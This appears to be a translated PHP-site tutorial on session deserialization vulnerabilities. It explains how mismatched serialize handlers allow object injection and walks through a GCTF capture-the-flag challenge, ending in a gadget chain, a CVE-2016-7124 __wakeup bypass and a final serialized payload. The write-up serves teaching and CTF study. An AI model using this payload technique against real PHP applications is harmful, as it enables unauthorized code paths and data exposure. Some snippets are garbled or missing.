Detailed explanation of PHP's session deserialization vulnerability

There are three configuration items in php.ini:

session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数，如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php

The above options are options related to Session storage and sequence storage in PHP.

In the installation using the xampp component, the settings of the above configuration items are as follows:

session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下 session.save_handler=files 表明session是以文件的方式来进行存储的 session.auto_start=0 表明默认不启动session session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎

In the above configuration, session.serialize_handler is used to set the serialization engine of the session, in addition to the default In addition to the PHP engine, there are other engines, and the session storage methods corresponding to different engines are different.

php_binary: The storage method is that the ASCII character key name corresponding to the length of the key name is the value serialized by the serialize() function

php: The storage method is that the key name is vertical The value serialized by the serialize() function

php_serialize(php>5.5.4): The storage method is the value serialized by the serialize() function

The PHP engine is used by default in PHP. If you want to change it to another engine, you only need to add the code ini_set('session.serialize_handler', 'The engine that needs to be set');. The sample code is as follows:

The session directory is in /var/lib/php/sessions

      
Under the php_serialize engine, the data stored in the session file is:
      
a:1:{s:4:"name";s:6:"spoock";}
      
The content of the file under the php engine is:
      
name|s:6:"spoock";
      
php_binary The content of the file under the engine is:
      
names:6:"spoock";
      
Since the length of the name is 4, 4 corresponds to EOT in the ASCII table. According to the storage rules of php_binary, the last one is names:6:"spoock";. (Suddenly I found that characters with an ASCII value of 4 cannot be displayed on the web page. Please check the ASCII table yourself)
      
Serialization hazards in PHP Session
      
There is no problem with the implementation of Session in PHP. The harm is mainly caused by improper use of Session by programmers.
      
If the engine used by PHP to deserialize the stored $_SESSION data is different from the engine used for serialization, the data will not be deserialized correctly. Through carefully constructed data packets, it is possible to bypass program verification or execute some system methods. For example:
      
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
      
php file such as:
      
       
After accessing, the content of the session file is as follows:
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
But at this time, the simulation uses different php engines on other pages. The content when reading is as follows: (By default, the php engine is used to read the session file)
        a; } } // var_dump($_SESSION);
When accessing this page, the output is xx
xxarray(1) { ["a:1:{s:4:"ryat";s:30:""]=> object(A)#1 (1) { ["a"]=> string(2) "xx" } }
This is because when the php engine is used, the php engine will | is used as the separator between key and value, then a:1:{s:4:"ryat";s:30:" will be used as the SESSION key, and O:1:"A":1:{s :1:"a";s:2:"xx";} as value, and then deserialize, and finally you will get the class A.
This kind of problem occurs due to serialization and deserialization. The different engines used are the cause of the PHP Session serialization vulnerability. When loading a page using the PHP engine, the session reads the content in the session and deserializes it, causing the vulnerability to be triggered without any output
Analysis of a session deserialization vulnerability on GCTF:
The content in index.php is:
      
 
In php, it is often used Serialization operations are used to access data, but improper handling during the serialization process may cause some security risks.
   
 查看源码  
The content in query.php is:
/************************/ /* //query.php 部分代码 session_start(); header('Look me: edit by vim ~0~') //...... class TOPA{ public $token; public $ticket; public $username; public $password; function login(){ //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉 $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){ return 'key is:{'.$this->token.'}'; } } } class TOPB{ public $obj; public $attr; function __construct(){ $this->attr = null; $this->obj = null; } function __toString(){ $this->obj = unserialize($this->attr); $this->obj->token = $FLAG; if($this->obj->token === $this->obj->ticket){ return (string)$this->obj; } } } class TOPC{ public $obj; public $attr; function __wakeup(){ $this->attr = null; $this->obj = null; } function __destruct(){ echo $this->attr; } } */
The idea is as follows:
In this question we construct a TOPC, which will be called during destructionecho $this->attr;;
Assign attr to the TOPB object, and the __tostring magic method will be automatically called when echoing TOPB.
In __tostring, it will be calledunserialize($this->attr ), because token and ticket are used later, it is obviously a TOPA object. Later judgment requires$this->obj->token === $this->obj->ticket, so when serializing, make a pointer reference so that$a->ticket = &$a->token;, you can bypass the judgment.
As for why(string)$this->objwill output flag, and the login written in the background may be __tostring.
There will be a __wakeup() function in the deserialized string to clear it Parameters, I asked if it can be bypassed through a CVE: CVE-2016-7124. The wakeup function can be bypassed by changing the field representing the quantity in the Object to a value larger than the actual field.
The final code is:
$testa = new TOPA(); $testc = new TOPC(); $testb = new TOPB(); $testa->username = 0; $testa->password = 0; $testa->ticket = &$testa->token; $sa = serialize($testa); $testc->attr = $testb; $testb->attr = $sa; $test = serialize($testc); echo $test;
The final payload is:
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
The above is the PHP session deserialization vulnerability introduced by the editor. I hope it is helpful to you. If you have any questions, please leave me a message and I will reply to you in time.
       

        
Related learning recommendations:PHP programming from entry to proficiency
       
The above is the detailed content of Detailed explanation of PHP's session deserialization vulnerability. For more information, please follow other related articles on the PHP Chinese website!